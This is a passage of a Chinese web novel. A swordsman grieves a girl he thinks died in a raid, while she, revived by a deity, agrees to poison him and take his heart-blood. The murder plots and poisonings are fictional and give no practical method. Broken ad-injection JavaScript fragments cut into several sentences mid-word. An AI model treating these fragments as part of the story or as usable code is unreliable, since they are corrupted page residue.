他突然发现自己根本做不到和谁在一起都可以。旁人再好与他何干?即使他嘴上表现得再不在乎,但他只想听知慈说喜欢自己。 与知慈争吵时他只想赢,可一旦离开了知慈,赵晏然又觉得心里空落落的。他气知慈往他伤口上撒盐,可真要让他把知慈彻底推开,他又割舍不下。 这样想着,赵晏然决定给知慈一个台阶。只要知慈稍稍愿意低头,他就原谅她,向她服软,将此事翻篇揭过。 拿定了主意,赵晏然心不在焉看着沈纤纤泪眼婆娑,只觉在这里耽搁的每一分每一秒都是煎熬。 于是他站起身,对沈纤纤道,“你没事就好,我先走了。” “可……可你才陪我没一会儿。”沈纤纤意外极了,语气失落。 但赵晏然根本未加注意,他离开了医馆,步履匆匆回到枣花街。 - 回到枣花街,赵晏然才发现知慈竟收拾行李走了。 赵晏然不敢置信,知慈不要自己了吗? 他心里有些慌了。他虽故意想气知慈,却没想到知慈反应这么大……难道他真得做的太过了吗? 赵晏然完全不能接受知慈离开自己,于是立刻动身,寻找知慈的下落。 他决不能让她走。 赵晏然拿着知慈的画像,在京城的客栈中逐一询问是否有人留宿,打探知慈的下落。 直到跑遍了大半个京城的客栈,赵晏然才终于在官署大道找到了知慈下榻之处。 “这姑娘方才出去了,她说要去趟青牛观,得半夜才能回来,让我给她留个门。”客栈伙计告诉赵晏然。 赵晏然有些担心,深更半夜,知慈一个女孩儿往青牛观跑要做什么? 他无暇细想,立刻朝城门方向动身。 然而越靠近城门,赵晏然便发现越来越多的锦衣卫和捕快列队匆匆向城外而行。偶尔有百姓从家中开门探出头,也会被捕快们立刻劝回。 三更半夜,大批城中警备出动,想必出事了。 赵晏然抓住一个捕快问道,“怎么回事?” 捕快见他一身江湖客打扮,没劝他回家,解释道,“城外出事了。一个时辰前,青牛观凭空出现了一队鞑靼士兵。随即京郊戍卫营来讯,远郊有鞑靼军队集结突袭戍卫营。此刻情势紧张,城内正在集结各方力量,准备守城。” 赵晏然听他说完,心中一沉。 知慈便是往青牛观方向去的,她不会出事吧。 赵晏然后悔又焦虑。若不是他与知慈争吵、跑去看沈纤纤,知慈又怎会在没有他陪同的情况下,大半夜跑到郊外? 赵晏然展开轻功向郊外赶去,心中祈祷知慈千万不要出事。 官道上,各路守军行色匆匆赶赴前线,可奔赴前线的人越多,赵晏然的心头便越是凝重。 - 当赵晏然终于赶到青牛观时,他首先看到的是观门前横七竖八躺着几具锦衣卫和鞑靼人的尸体。 赵晏然心被揪起,他迈入青牛观,鼻子闻到了一股焦炭味。 只见观内大门敞开,四处均有被破坏的痕迹,而焦糊味正是从道观右侧传来。赵晏然举着火折子,甚至能看到有淡淡烟雾。 赵晏然循着气味向右侧走去,发现此地刚刚经历了一场火灾。附近的房屋被熏成了黑色,有些屋子甚至被烧的只剩框架。 而废墟之中,每走几步就倒着具尸体,因被大火烧焦碳化,根本辨认不出人形。 赵晏然越走越觉得不妙,就在这时,他发现脚下踩了一个东西。 赵晏然抬起长靴,发现自己踩到了一个紫色香囊。因为大火燃烧不完全,香囊幸运地没有被烧焦。 但赵晏然目光顿住了,他看到那香囊上面绣了一个‘宴’字,有几分眼熟。 赵晏然将紫色香囊捡了起来,他突然想起在哪里见过这香囊了。 那时在路府,知慈为了感谢自己帮她赶走李护院,专门为他绣了一个香囊作为答谢,可他并没有收。因为当时恰好沈纤也来了,所以他的注意力都放在沈纤纤身上,而知慈的香囊自然就被他忘到了脑后。 赵晏然悚然一惊,从前的自己对待知慈这么不上心吗?那之后知慈又是怀着怎样的心情,将他不当回事的香囊重新收好,携带在身上的? 赵晏然心如刀割,恨不得回到过去给自己两巴掌。原来那么久之前,他就曾因沈纤纤伤害过知慈。一瞬间他无比后悔下午吵架时拿沈纤纤来刺激知慈。 与此同时,赵晏然心中不祥的感觉更加明显,知慈的东西落在这里,那知慈是否也凶多吉少? 赵晏然继续向右走。再往右本是青牛观侧门,但此刻也已被烧得一片狼藉。 侧门之外传来微弱的呻吟声。赵晏然走出侧门,发现外面横七竖八的尸体中,一个锦衣卫侧倚着墙,尚有生息。 赵晏然朝他走去,问道,“这里出了什么事?” 锦衣卫痛哼着回答,“少侠,方才我们执行任务,遇见了鞑靼人,一番恶战后死伤无数,鞑靼人还在观内放起了大火。后来城里增援部队赶到,又在侧门激战良久,才终于处理掉敌人。” 锦衣卫又道,“目前存活的同伴都已赶往前线,我失去作战能力,所以在这里等待救援。” 赵晏然忙问,“那方才观内可有其他平民,你可曾见过一个女子?” 锦衣卫想了想,道,“有!有个穿蓝色衣裙的小姑娘,当时站在观门口。” 赵晏然如坠冰窟,知慈晚上同他吵架时,穿的正是蓝裙。 锦衣卫道,“那姑娘是第一批遇害的。当时鞑靼人从天而降,在场只有她和我们殿下没有功夫,便逃进了观内。但当时道观已被鞑靼人封锁,增援部队到达之前进观的人全部有死无生,被活活烧死了。” 赵晏然怔住。 知慈死了。 怎么会,开玩笑吧。 赵晏然像被点了穴道,久久沉默,动弹不得。 - 两日后,京城某客栈。 周师兄道,“晏然,你终于想好了?” 赵晏然点头。 一旁,诸葛真故作不在意,却难掩神色失望。 周师兄道,行,既然你决定回山上,那咱们今日便启程。” 说完,周师兄又想起来一件事,道,“对了,你跟我们回上清后,知慈怎么办?她还住枣花街吗?” 赵晏然道,“她不会再住了,她死了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” “啊?”周师兄和诸葛真同时愣住。 诸葛真有些不安,“她死了?这是怎么回事?” 赵晏然平静道,“前日她半夜跑出京城,正好撞见了鞑靼军队,卷入冲突被误杀。” 诸葛真良心不安,“这……是我不对,我没想到一时嘴快后果这么严重。” 赵晏然摇头,“和你没关系。” 另一边,周师兄拍了拍赵晏然肩膀,除了‘节哀’不知说什么好。但赵晏然神色如常,看起来并不需要安慰。 赵晏然冷静得他自己都不敢相信。他心想,既然知慈死了,那他留在京城也没什么意义。正好,也时候回上清山修炼剑道了。 于是师兄弟一行人收拾好行囊,踏上了返程之旅。 周围官道上已经见不到普通百姓。自前日鞑靼人突袭京郊后,京城便进入了高度警备的状态。此刻在远郊前线,戍卫军已同鞑靼兵僵持了两日。 三人行过百余里路,经过一处村落。村口摆了一个集市,不少附近的平民正在为战备的物资做采购。 师兄弟三人穿行过集市,街边站了一个神经兮兮的女道士,正在同身边的木匠讨价还价,让对方帮自己修缮被烧毁的房屋。 就在赵晏然与那女道士擦肩而过时,女道士瞥见了赵晏然,随即目光定住,“是你?” 赵晏然有些意外,“你认得我?” 前方,周师兄和诸葛真见女道同赵晏然搭话,也停脚步,看着二人。 女道士神叨叨地点点头,“你身体好了?” 赵晏然拧起眉,“我的身体何时抱恙?” 女道士道,“你忘了?当初在青牛观你被炸成了重伤瘫痪,没印象了?” 赵晏然怀疑道,“你怎会知道此事?” 这女道士正是孙芳姑。孙芳姑道,“当然,是贫道救了你。当初小姑娘找上贫道,若贫道袖手旁观,你现在就无法好端端站在这里了。” “什么意思?你说清楚。”赵晏然紧紧盯着她。 “那贫道不能说。” 下一瞬,赵晏然上前一步,单手揪住孙芳姑的衣领。他双眸通红,神色凄然阴森,像一个即将失控的野兽。 “你说不说?” 孙芳姑被勒得呼吸不畅,叫道,“你怎么一言不合就动手。” 赵晏然目光凌厉,一言不发,手中力气加深,孙芳姑脸色开始发白,“我说!我说!” 赵晏然松开手,孙芳姑大口喘息着道,“……是、是那个叫知慈的小姑娘和贫道做了交易。那时你重伤卧床,这辈子都无法自理。小姑娘便找到了贫道,求贫道用无生老母的法门救你。” “无生老母神通广大,能生死人肉白骨,但作为交换,她要剜自己的心头血给你服下,心头血蕴含人体精元,剜出会折寿十年。小姑娘喜欢你,所以干脆地答应了。” 赵晏然愣住。 他一直以为他的身体是自己康复的。可原来真相是,知慈用她的心头精血和折寿为代价换来自己的健康吗? 一种熟悉的欣喜、无措又愧疚的情感再次涌上赵晏然心头,就像当初他刚从瘫痪中恢复时那样。 他欣喜知慈对他情愫如此之早、如此之深。 可他又无比惶惑,无比愧疚。 他想起前日和知慈吵架时他说‘她拿不出手’,可他突然发现,其实真正拿不出手的人是自己。 他爱慕虚荣,品行差劲。可当初自己瘫痪在床、价值全无时,知慈却从未想过将他弃若敝屣。 她为什么不嫌弃自己? 他究竟何德何能,被知慈不计回报、不做权衡地爱着? 赵晏然再也站不住了。 两日以来刻意被压制的感情,一旦开了闸,便如蓬勃的洪水汹涌泄出。 知慈曾那样真挚地爱过他,可他却没有珍惜。如今变故突生,他没能保护住知慈,甚至间接将她推向了死亡。 赵晏然眼前发黑,有些晕眩,拼命吸入着空气,却越呼吸越急促。 “师弟?师弟?你怎么了?” 周围的人声逐渐远去,赵晏然耳中充斥着嗡鸣。 他回不了上清了。 赵晏然很清楚,他道心已损,即使回到上清,也做不到心无旁骛、追逐武学极致了。 因为知慈的死将成为困扰他终生的心魔。接下来每一个日夜,知慈死亡的一幕都会在他梦中重演,变成他这辈子都求不得、触不到的伤痛。 他被永远困在了知慈死去的这一天。 33. 契约 谢国皇宫。 沈纤纤跟随着宗人府管事的太监,垂首行走在皇宫朱红的宫墙之下。 “沈姑娘,如今战事吃紧,陛下依然惦记着认回公主一事,足可见其重视程度。您若真是公主,可就要享福喽。”前方,太监背对着沈纤纤道。 沈纤纤垂眸不语。 今日上午,宗人府的人过来接她进了宫,说沈纤纤的身份背景都已查验完毕,如今只差进宫最后走个流程,便能正式受到陛下召见了。 那太监继续道,“这几日过来谎报身份的骗子不计其数,把宗人府的同僚们折腾了够呛。幸亏您及时出现,否则奴才们还不知要被折磨多久。” 沈纤纤心脏一跳,“过来认身份的人很多吗?” 太监道,“可不。自从陛下公开寻找公主,便一直有钻营歪门邪道的官员安排年轻女孩过来尝试,不过那些骗子大部分都因妨害公务,被打了二十大板赶出去了。运气最好的,也就走到查验身份这一步。” 沈纤纤下意识接道,“既然被发现,也算不上运气好。” 太监道,“你错了。被宗人府的同僚发现,骗子顶多挨打赶出宫去。但若流程走完,骗子正式被圣上册封,届时再被发现,便是在全天下人面前让圣上威严扫地,这叫欺君之罪,要砍头的,连带经办的人也要重罚。所以被我们提前查出来,那是老天爷眷顾……嗯?沈姑娘,你怎么了?” 太监见沈纤纤没有应答,回过头去,却见沈纤纤站在原地没动。 下一刻,沈纤纤神色如常道,“没什么,公公您带路。” 太监未作他想,转过身去,继续边走边同沈纤纤攀谈着。 太监领着沈纤纤来到临时的住处,“姑娘今日便暂住此处,明天一早自会有人接引姑娘,您安心休息便是,奴才先告退了。” 太监离去后,室内只剩沈纤纤一人,她坐在塌上,只觉“砍头”二字像把重锤锤在自己心口。 她不是真的公主,冒充身份只是不甘心在路府的处境。如今事情尚有选择余地,退出还来得及。但若继续走这条不归路,有朝一日东窗事发就会有生命危险。 这样真的值得吗? 沈沈纤有些怯了,但她立刻想起曾经受过的侮辱,池雨若居高临下的眼神如今还清晰地映在她脑海中。 沈纤纤手指捏紧,没什么不值得,这就是她想要的。 沈纤纤下定了决心,她在几案上划下“知慈”两个字,随即又用手指在名字上重重地画了个叉。 “对不起了,”她自言自语,眼神变得狠厉下来,“只有死人才不会说话。” 她要顶替知慈身份,就不能再让知慈存活于世。她下定了决心,要将知慈灭口。 就在这时,屋外传来敲门声。 沈纤纤如梦初醒,起身开门,随即她愣在了原地。 门外的人她认识,竟然是池无暇。 只见门外池无暇大大咧咧道,“小舅子,帮我个忙。这两天我都在前线,实在走不开。等会你出宫,帮我把这件首饰转交给你姐。” 下一刻,池无暇看清了门内的人,也愣了一下,“啊……不好意思,我走错了。”他对沈纤纤道了歉,转身准备离去。 沈纤纤怔怔望着他离去。就在他愈行愈远时,沈纤纤开口了。 “池公子,等等。” - 知慈在一片白光中醒来。 她本以为她死了。 可她突然发现,她能动,还能坐起身来,就像活着一样。 随即,她的眼睛渐渐适应了周围的白光。 她终于能够看清周围的景象了。 知慈发现自己身处路府的大通铺。此刻她正在床榻上坐着,而沈纤纤则坐在自己身边。 见到知慈醒来,沈纤纤对知慈道,“知慈,你今天还有假吧,你得陪我。” 什么? 知慈的脑袋像被白雾蒙住,今夕何夕,沈纤纤又想自己陪她做什么? 于是知慈问她,“你要做什么?” 沈纤纤目光坚定道,“前日青牛观道长说,今日他们会举办法会指点迷津。昨天我想了一晚上,听说他们有一套自己的办法,能通过请神和做法调整命格,我想去试试。” 知慈想起来了。前几日沈纤纤在青牛观外见到池无暇,受了刺激,于是不断尝试各种办法想摆脱现在的境遇。眼下,她开始尝试玄学方面的办法。 知慈脱口而出,“可青牛观是白巾教的老巢,去了会导致我们都被抓为人质。” ——等等,她为什么会知道青牛观是白巾教的据点?这段记忆从何而来? 这话一出口,沈纤纤也愣住了。 沈纤纤道,“你疯了?瞎说什么?” 知慈也觉得自己毫无依据便认定青牛观是白巾教据点像患了癔症。可她就是很确定,那里不能去。 眼下她只有两种选择:要么劝说沈纤纤不要去,要么陪沈纤纤一起去。 知慈开口,“别去了姐姐,很危险。” 沈纤纤脸上浮现出不耐烦的表情,“你不陪我就算了,我自己去就是。” 知慈刚想挽留,脑海中却有个声音反问:是啊,她非要去,和你有什么关系?你管她,她也不领情。 不领情三个字话音落下,一种强烈的失望和背叛感便涌上了知慈心头,她混沌的头脑也开始变得清明。 于是知慈挽留的手就这样落了下来。 她声音变得极冷,“那你去吧,若是死了,别怪我不给你收尸。” 沈纤纤讶异地看向知慈,似乎没想到一向乖顺的知慈会说出这样的话。 “你……你真不陪我?” 知慈冷笑,“是啊,我最后悔的事便是当初对你掏心掏肺。既然回到了过去,那你死了也咎由自取。” 知慈话音落下,周围环境突然开始崩塌碎裂,沈纤纤不可置信的表情一寸寸消融化作点点光芒。而知慈身下地面也开始塌陷碎裂。 随即,知慈失去平衡直直下坠,落入无尽的黑暗之中。 她失去了意识。 - 当知慈再度清醒时,她听见耳边传来湖水静谧的流淌声。 知慈睁开眼,上方是漆黑如墨、广袤无垠的夜空。 知慈缓缓用手支撑起自己坐起来,发现自己身处一艘小舟船尾。 天色极暗,视野不佳,船外目力所及之处,皆是平静无波的黑色湖水。湖水之上,四处散布着星星点点的幽火。 船尾缀着数不清的幽火,它们漂游在水面上,跟随着小船浮动漂游。 知慈呆滞地看着这美丽而诡异的景观。离得近了,知慈才发现那幽火实际上是一盏盏缓缓旋转的走马灯,每一盏走马灯之上的图案都截然不同。而走马灯灯芯的火焰,便是幽火的光源。 知慈从未见过这种颜色的火焰,似蓝非蓝,似青非青,不似凡间之物,反倒像神话传说中的灵宝。 知慈无端联想到了灵魂,这火焰就像把人的灵魂给点着了才会燃烧的颜色。 就在知慈盯着盏盏华灯出神之际,有声音在知慈耳边响起。 “这些,都是凡人的灵魂。” 这声音空旷而毫无感情,知慈猛地回头,见到船头站着一个黑帽兜身的“人”,身形看起来是位女性。 兜帽没有□□,虚影构成的手臂一手执船桨,另一只手则托着一个八卦罗盘。当知慈向祂望去时,祂也微微转头,但兜帽之下漆黑如深渊,什么都看不到。 知慈还没开口,兜帽已经看穿了她的疑惑。 “这里是阴阳交接的往生黄泉,时间在这里静止。凡间将死之人,灵魂便会来到此处,在回忆构成的走马灯中回顾漫长的一生,而回忆结束,人死灯灭,他们便走向了真正的死亡。” “而我,便是亡者灵魂的摆渡人。” 听着对方平静无波地谈论着生死,知慈心中毛骨悚然。周围缺乏真实感、又时刻能将她吞噬的气息又让她清楚知道,自己并非身处真实世界。 “那我也要死了吗?”知慈尽力保持镇静道。 “你?你不一样。”神明无情的声音道,“你阳寿未尽,灵魂却误闯三界通路,才会出现在这里。” 三界通路? 知慈想起自己死前身处的那间贴满了镜子的诡异密室。 她小时候曾听家乡的道士说过,在风水之中,镜子对贴,镜像空间的尽头会直通阴间。那时她只当道士吓唬人,却没有想过这竟是真的。 “所以我没死?” 神明道,“是。你□□尚有阳息,灵魂却误入死者的地界。” “不过不必担心,我对光顾生意的客人向来特殊照顾。所以我会将你的灵魂送回阳间。” 自己何时竟有幸光顾神明的生意?知慈望着黑袍手中的八卦罗盘,脑中灵光闪过,“你是……你是救了赵晏然的神仙,你是无生老母!” 神明没有否认,道,“无生老母不过是凡人为我取的名字。他们供奉我,希望用虔诚和信仰换得我的庇佑。” 神明继续道,“不过,我从不庇佑凡人,只与凡人签订契约,以寿命为代价,实现对方的愿望。” 知慈明白祂的意思。当初她为救赵晏然,也曾以心头血为媒介与祂签订过契约,用十年寿命换赵晏然重获健康。 但自己后来后悔了,于是立刻被契约反噬,开始出现心脏绞痛的症状。她之所以去青牛观,便是想问问有没有补救之法。 神明道,“依照你我签订的契约,我会取走你十年寿命,将你送回阳间。不过,你要好好珍惜接下来的日子,因为等你回到阳间那一刻开始,你便只剩下三个月的寿命了。” “什么?!”闻言,知慈的心猛地下沉,“我怎么就只剩三个月可活了?” 神明抬起衣袖,一本竹册便飞到了知慈面前,“生死簿记载你阳寿总计二十六年三个月,你今年十六岁,再减去献祭的十年寿命,因此只剩三个月可活。” 知慈闻言,很不甘心,“可我当时剜心头血时,并不知道自己只能活到二十六岁。而且我现在后悔了,我一点也不想用自己的生命去救不值得的人。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 知慈又道,“要不你把赵晏然的健康收回吧,让他变成一个废人,或者直接死了也可以。” 神明道,“落子无悔,这是你自己做的选择。” 知慈见神明不答应,心一横道,“那我不想活了。反正回去了也活不了多久,还要被契约反噬,忍受心绞痛折磨。再说,我救的人还是个负心汉,难道要我回去看他和他的心上人你侬我侬吗?” 然而出乎知慈意料,神明固执道,“你得回去。” 知慈敏锐发现了祂的不对劲,于是坚持道,“不要。我不回去了,剩余的三个月寿命也送给你好了。” 神明沉默半晌,终于,祂平静高深的声音有了情绪。 “……唉,同你说实话吧。我自地府混沌中化身,生来便和同类们被安排在这里摆渡亡者灵魂。想要修炼,便只能一边躲避着正神的注视,一边私下搜集阳间生灵的贪嗔痴念。” “我与你签订契约,目的是自你后悔之时,吸食你的嗔念,而这也是你会心痛的原因。可你不愿回到阳间,我就白费了功夫。” 知慈皱眉听完祂的修行方式,心中得出了结论:自己招惹的这位神明是某种邪崇。 与此同时,她疑虑重重,不知祂突然向自己交代底细,是打的什么主意。 神明道,“你既不愿受苦,那这样吧,我还有一桩交易,你一定会感兴趣。” 神明继续道,“我仍会将你送回阳间,在你剩余的三个月内,我不会伤害你。这期间,你若能献祭上你所救之人的嗔念,我们之间的契约便一笔勾销,你的寿命我也会如数奉还。” 神明的意思是,让她献祭赵晏然的贪嗔之念? 知慈一边消化神明的话,一边问道,“那我该怎么做?” 神明道,“很简单,让他伤心欲绝、肝肠寸断,然后用尖刀取出他的心头血。他越痛苦,我能吸收的力量便越多。不过当然,他肯定活不成了。” 知慈沉思着。 神明的提议令她动心。说实在的,能让赵晏然受到惩罚,即使什么好处都没有,她也乐意之极。 但她还是心有顾虑,“可赵晏然武功高强,想取他的心头血简直难如登天。” 神明闻言道,“简单,我再助你一臂之力。我的信徒孙芳姑在供奉蒲团下埋了一瓶毒药,你回去之后给挖出来。那毒药无色无味,易溶于水,只需服用三次,便能让凡间的绝顶高手武功尽失。” 知慈明白了祂的意思。给赵晏然下毒让他失去反抗能力,再下手便简单得多。 知慈还有最后一个问题,“那如果我失败了,会有什么惩罚?” 神明道,“三个月后会死。” 那不就与此刻的处境相同?知慈再无顾虑,“我答应你。” 神明满意道,“很好,那么,在到达往生之地前,我便会将你送回阳间。”说罢,祂便转过了身,继续撑起船桨。 一时间,周围再度变得寂静,只能听见划水的声音。 知慈缓缓坐下,她望着船尾之后远远缀着的一盏盏灵魂之灯,回忆着自己来到这里前发生的事。 当时她与谢琅被鞑靼人追逐,躲到了青牛观那间诡异的祭拜密室内,然后屋中突然燃起大火,她便失去了意识…… “和我在一起的同伴呢?”知慈在寂静中开口。 船头的神明没有立刻回答,但随即一盏魂灯浮游着来到知慈的面前。知慈明白过来:这是谢琅的魂灯。 “你的同伴,如今仍被困在他的回忆之中。” 眼前走马灯图案变幻、灯光明灭,缓缓在展示着谢琅的一生。 知慈望着魂灯道,“他和我一样,是被误送来这里的,他是无辜的。” 神明道,“他确实无辜,不过已经有些晚了。” “什么晚了?” 神明道,“他此刻沉浸在回忆中不愿清醒,我也无能为力。除非能将他从回忆中拉出,否则等回忆走到尽头,他的魂灯便会熄灭,灵魂也会彻底死亡。” 知慈闻言,皱起眉头,“那怎么才能救出他?” 神明道,“凡人的灵魂精巧而脆弱,除非他自己愿意从回忆中醒来,否则纵使神明法力通天,也无法随意干预。” 知慈追问,“那就只能看着他去死?真的没有别的办法了吗?” 神明沉默。 知慈急了,“你还要不要我回阳间了?” 神明道,“……有一个办法。我可以施展神通让你进入他的魂灯之中,但你若不能在我法力耗尽前让他清醒过来,便会彻底困在他的回忆中,和他一起死去。” 知慈听明白了:谢琅有机会活命,但要她冒着生命危险相救。 知慈想起之前自己舍命照应过的人。 她冒着风险陪沈纤纤去青牛观,结果沈纤纤干脆地背叛了自己;她用心头血换赵晏然重获健康,但赵晏然却瞧不上她,头也不回去寻沈纤纤了。 如果最后的结局是背叛,那为对方两肋插刀还值得吗? 知慈松开咬的发白的下唇,“施法吧,我要救他。” 34. 雪地 人间,北方某山地,燕州军驻扎处。 大雪纷扬,士兵们三三两两或坐或躺,士气低迷。 自从半年前鞑靼军队空降京城,谢国便进入了战争状态。 京城军民拼死抵抗,终于将鞑靼人驱逐出京城,向北后撤。 随即,朝廷大规模征兵,不断向前线派遣部队,与鞑靼人在谢国北部打起了旷日持久的低烈度战争。 数日前,谢国燕州军同鞑靼人激战一场,燕州军残余部队逃进山林,却被鞑靼人围困,他们出不去,鞑靼军队也进不来。 此刻,营地入口,一个人高马大的炊事兵吆喝道,“水打来了,有人喝水吗?” 众人无精打采,没人回应。唯有一个神态冷淡、容貌俊秀的少年士兵回应了他,“我喝。” 于是炊事兵老孙递给他一个瓢,少年用瓢将水壶盛满水,又把瓢递还给他,道了声谢。 老孙却没有走,犹豫片刻,他局促开口,对那少年道,“晏然,你方才真没管李树林?” 少年目光移到他脸上,皱眉道,“你在说什么?” “老孙!有空闲聊,还不赶紧过来帮忙?!”不远处,正在劈柴的炊事兵见同伴还不过来,大声喊道。 “来了,张哥。”老孙应和了同伴,不再追问那少年。 他提着水来到姓张的同伴身边,将水桶放到地上。因为来得匆忙,水溅出来了不少。 随即,老孙找碗给自己也舀了一碗水。 他一边喝水,一边同张姓士兵担忧道,“水打来了,可粮食也马上吃光了。张哥,你说这次我们会不会真被鞑靼人耗死在这里?” 张姓士兵叹了口气,“走一步看一步吧。” 二人正在说话,不远处传来喧哗。 只见声源方向,营中的总旗,一位年纪三十左右的军官大步走出营账,气势汹汹去往方才少年的方向。而后者则心不在焉地喝着水,似乎水壶都比对方更有吸引力。 老孙目光落在少年身上,一边道,“赵晏然这小子,这次太过分了。” 赵晏然是军队中的一个异类。他年纪轻轻却武功高强,上战场拼杀时能以一敌十,悍勇异常。即使是在军中也少见的高手。 但另一方面,赵晏然又非常不合群。 他平日沉默寡言,从不与其他战友来往。即使有人主动同他搭话,他也一副爱答不理的怠慢模样。此外,他还常常无视纪律、顶撞长官。久而久之,便成了军队中让人敬而远之的存在。 老孙性格圆滑,平日同赵晏然还算能说得上话。但此刻他的神情也很不认同,“幸好小李命大,被营地的人救了回来。” 原来,鞑靼人与谢国军队在雪山中僵持,每日不定时派遣斥候勘察谢军情报。为防止被鞑靼人偷袭,总旗下令士兵们每日两人一组轮班巡逻。 今日轮到赵晏然和另一个李姓士兵搭档值班。二人出了营地后,撞见几个前来刺探情报的鞑靼士兵。 双方交上手,赵晏然很快便清理掉了身边的敌人。 但由于小李功夫较差,与他交手的鞑靼人见同伴都被赵晏然杀光,砍了小李一刀立刻扭头就跑。 一边是中刀倒地的同伴,一边是尚未跑远的鞑靼人。赵晏然想都未想,没管小李便直接去追敌人了。 后来,总旗在营中见二人久出未归,另外派人去寻,结果在雪地中发现了奄奄一息躺倒的小李。又过了一会,赵晏然终于追上并杀掉敌人,回到了营地。 回到当下,只见总旗对赵晏然疾言厉色道,“今日雪这么深,李树林就在雪地里躺着,方才若我们晚到一点,他就活活冻死了!” 赵晏然闻言,回道,“原来他叫李树林。” “什么叫‘原来他叫李树林’?他是你的搭档,你却连他的名字都不记得!” 见总旗发火,赵晏然嗤笑一声,目光冷冷盯着他的上级,“别说他了,你也一样。反正在战场上早晚都会死,死人的名字,重要么?” “你这目中无人的小畜生!”总旗再也忍不住了,挥拳就要给赵晏然一个教训。 赵晏然眼光毒辣,总旗刚一动作,他便判断出对方出手的轨迹,身体稍稍向左偏,便避开了长官的拳头。 被赵晏然轻而易举避开,总旗怒极。他盯着不服管的年轻人,胸膛剧烈起伏。 “小子,我承认,你武功很高,在我麾下当兵委屈了你。但你以为我看不出来?你平日不听命令,杀敌时却积极无比,连命都不顾。你上战场,就是为了和鞑靼人同归于尽,对不对?” 赵晏然脸上无所谓的表情消失了。 “你这样的兵我见过,基本都是挚爱亲朋死在鞑靼人刀下——” 总旗没说完,便被赵晏然狠狠朝脸打了一拳。总旗被打得退了几步,方才稳住身形。 赵晏然还欲上前,胳膊却被两个士兵架住。与此同时,其他士兵将总旗护在了身后。 赵晏然盯着被护住的总旗,对架住自己的两人道,“松手。” 赵晏然声音极冷。两人虽知他武功高,但谁都没放手。其中一人壮着胆子道,“你功夫再高又怎样?你就是错了。” 赵晏然被禁锢,转头环顾四周。 挡在总旗身前的士兵、不远处观望冲突的士兵……营地内所有人都在看着他,眼神戒备、充满敌意。 赵晏然突然觉得没意思。 他肩膀一扭,轻松挣脱开两人的钳制。 所有人瞬间如临大敌。但赵晏然却转过身,一言不发走出了营地。 望着赵晏然的背影,众人面面相觑。 随即有人反应过来,忿忿不平道,“赵晏然顶撞上级,按军纪该被鞭笞一百次。头儿,我们这就去把他抓回来。” 闻言,众人纷纷响应。 总旗手抚着疼痛的脸颊,望着赵晏然消失的方向,神情阴郁,没有说话。 - 赵晏然离开营地,在山林间穿行,神色麻木。 他心头郁结,无处诉说。 自从孙芳姑告知了知慈为他剜心头血一事,赵晏然本就摇摇欲坠的心气和骄傲彻底坍塌。 他觉得自己再次回到了瘫痪在床、不能自理的那段时日,每日睁眼就被挫败和茫然的情绪填满——纵使他武功再高,倘若老天爷想让他吃苦头,他就什么办法都没有。 更糟糕的是,瘫痪那次他尚能自欺欺人,把自己瘫痪的缘由归咎于不够冷血,滥发善心救下了知慈。 可这一次他再没了借口。因为此时的知慈对他来说已是很重要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的人,他愿意不计代价去救她。但老天却连救人的机会都不给——当他得知知慈出事时,知慈已经不在了。 赵晏然伸出手掌,五指张开,又握成拳。因为道心动摇,他整只手都在发抖。 赵晏然自幼习武,一直信奉只要足够努力、足够强大,他就能获得想要的一切。 可是倘若他已将武艺练到顶尖,却依然无法把握自己和所爱之人的命运,那他数十年如一日精进武艺的意义是什么? 既然天命既定,他到底为何执剑? 赵晏然迷失于痛苦中,活得像一具行尸走肉。 知慈死后不久,前线战事吃紧,京城大规模征兵。为了麻痹内心的痛苦,赵晏然不再像之前那样排斥参军,反而主动报名入伍上了前线。 战场之上,赵晏然变成了一个没有思想的杀人工具,将所有的仇恨都倾泻在了敌人身上。 鞑靼人害死了知慈,所以他要杀尽鞑靼士兵,为知慈报仇。 但赵晏然其实心里清楚,他这么不要命的拼杀,其实内心深处真正渴望的是,就这样死在鞑靼人的刀下,彻底从这苦痛的世间解脱。 赵晏然从怀中小心摸出一个紫色香囊,瘦长的手指轻轻抚摸过上面的‘宴’字。 从前他心高气傲,看不见知慈对他的含蓄情谊。可如今他想弥补,却再也没有机会了。 赵晏然心中悲怮,垂下长睫,静静感受着寒风刮过脸颊的疼痛。 耳边寒风呼啸,前方传来沙沙的脚步声。 赵晏然抬头,白茫茫的天地间,隐约可见几个鞑靼服饰的士兵在向他的方向前行。 见状,赵晏然没有选择立刻离开回军营报信,反而握紧手中剑鞘,孤身一人迎风向敌人走去。 远处,鞑靼人见有人影从小黑点渐渐放大,纷纷戒备起来。 随即他们发现对方只有一个人,才纷纷卸下警惕,叽哩咕噜用鞑靼语嘲笑起同伴的紧张。 士兵们一边说笑,一边观察着这个谢国士兵想做什么。 赵晏然一步步踩雪而来,迎着敌人拔出长剑。 于是鞑靼兵也拔出了武器,双方交上手,轻敌的士兵们才发现这个谢国人功夫异常高明。 刀光剑影间,赵晏然迅速解决掉几人。 红色的血将雪地染成红色,又很快凝结。 现场唯一存活的鞑靼人再不复方才的轻松。他面露惶恐,绝望看着赵晏然手中剑刃刺入他的胸口。 但就在此时,赵晏然突然腹中一痛,只觉浑身力气都被抽干。他支撑不住,双腿一软跪在了地上。 赵晏然心中大惊,这是怎么回事? 电光火石间,他想起方才喝过的几口水……难道是水有问题? 与此同时,本来已经绝望等死的鞑靼人,见赵晏然突然跪倒在地,怔然一瞬后恍然大悟,哈哈大笑起来。 与鞑靼人交战半年,赵晏然已经能听懂些简单的鞑靼词语。 他听见那鞑靼人叽里咕噜说出“下毒”“水”几个词汇,拼凑出了答案: 鞑靼军队在谢国营地的水源上游投了毒,方才老孙打来的水里有毒。 但此刻想明白这些已经太晚,只见鞑靼人重获主动权,立刻挥刀对准赵晏然头部狠狠劈下—— 35. 过往 与此同时,阴阳交界,知慈缓缓睁开双眼。 无生老母将她送进了谢琅的魂灯中。知慈抬眼,便见一个由虚影凝成的沙漏悬挂于空中。 她想起进入魂灯之前,无生老母叮嘱过她,“我会用法力凝聚出一个沙漏,沙子流尽时,我的法力也会耗尽。所以,你一定要尽快救出你的同伴。” 